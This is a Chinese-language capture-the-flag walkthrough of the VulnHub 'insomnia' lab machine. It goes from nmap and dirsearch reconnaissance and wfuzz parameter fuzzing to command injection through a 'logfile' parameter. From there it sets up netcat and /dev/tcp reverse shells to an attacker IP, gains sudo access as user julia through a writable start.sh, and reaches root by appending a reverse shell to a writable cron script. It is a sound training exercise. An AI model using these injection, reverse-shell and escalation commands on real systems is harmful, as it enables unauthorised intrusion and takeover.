VulnHub：insomnia

信息收集

主机发现和端口扫描

攻击机网段192.168.31.0/24。

复制代码

# 主机发现
nmap 192.168.31.0/24 -Pn -T4
# 靶机ip:192.168.31.207 端口扫描
nmap 192.168.31.207 -A -p- -T4

经过nmap扫描发现目标主机有http服务，端口是8080。

目录扫描

访问http服务（注意添加端口8080再访问）。

首页访问首先弹出弹窗，输入框默认值是guest，多次尝试后发现这个nickname没什么影响，直接默认值访问。

进入首页后是一个类似于留言框的东西，但是下面的输入框没有提交按钮无法提交。

F12检查页面，在<head>中发现一些js文件和代码。

看过js代码后没什么发现，主要内容是弹窗和对用户输入框内容最大接收长度的。代码过长没啥重要内容就不展示全部。

复制代码

        // ask user for name with popup prompt    
        var name = prompt("Enter your nickname:", "guest");
        
        // default name is 'Guest'
    	if (!name || name === ' ') {
    	   name = "guest";	
    	}
    	
    	// strip tags
    	name = name.replace(/(<([^>]+)>)/ig,"");
    	
    	// display name on page
    	$("#name-area").html("You are: <span>" + name + "</span>");

访问chat.js看看代码，写了几个函数，看过函数内容后发现都与process.php有关。

访问/process.php。空数组？没有线索。

卡住了，还是使用工具进行目录扫描，想办法在其他目录找到线索。

dirsearch -u http://192.168.31.170:8080 -i 200,301

扫出新路径/administration.php和/start.sh。

访问/start.sh，文件内容如下：

php -S 0.0.0.0:8080

访问/administration.php。页面文字翻译是：你不被允许查看，并且你的行为被记录了。这里应该是可以进行命令执行的，但是缺少参数。

遍历枚举参数

使用wfuzz工具枚举/administration.php的参数。wfuzz一般用于请求参数参数类的模糊测试**，** 也可以用来做目录扫描、http请求方法测试等操作。WFUZZ使用教程-CSDN博客

复制代码

wfuzz -c -u http://192.168.31.170:8080/administration.php?FUZZ=1 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh 65

-c：带颜色输出
-u：指定url
-w：指定字典
--h：隐藏字符为65的响应

++补充：wfuzz自带的字典不够强大，爆不出来就换字典，这里用的是seclists字典（含有渗透测试可能用到的字典），有些kali版本默认是没有安装该字典的，安装即可sudo apt install seclists。安装完成后，字典位置是/usr/share/seclists/。++

++++

getshell

枚举出参数logfile，试一下命令执行看看有没有回显命令执行结果。

无回显，命令应该是执行了的，尝试反弹shell。

复制代码

?logfile=whoami;nc -e /bin/bash 192.168.31.218 6666
nc -lvvp 6666
python3 -c 'import pty;pty.spawn("/bin/bash")'

getshell。当前权限低且经过信息收集没有找到flag和有用信息，在家目录发现存在用户julia，想办法拿到julia的shell进一步渗透。

sudo提权

sudo -l 根据命令结果发现/var/www/html/start.sh可以用于提权到julia用户。再看看start.sh的权限，有编辑权限，就可以向start.sh写入/bin/bash，执行start.sh时即可拿到julia的shell。

复制代码

echo '/bin/bash' >> start.sh

复制代码

sudo -u julia /bin/bash /var/www/html/start.sh

信息收集，找到user.txt。

Cronjobs提权

在定时任务中找到可以用于提权的脚本/var/cron/check.sh。并且该脚本每时每刻都会运行，检查该脚本权限，有编辑权限，向该脚本追加反弹shell即可拿到root shell。

有很多反弹shell的方式。

复制代码

# 1
echo 'bash -i >& /dev/tcp/192.168.31.218/8888 0>&1' >> /var/cron/check.sh

# 2
echo "nc 192.168.31.218 8888 -e /bin/bash" >> /var/cron/check.sh

找到root flag🎆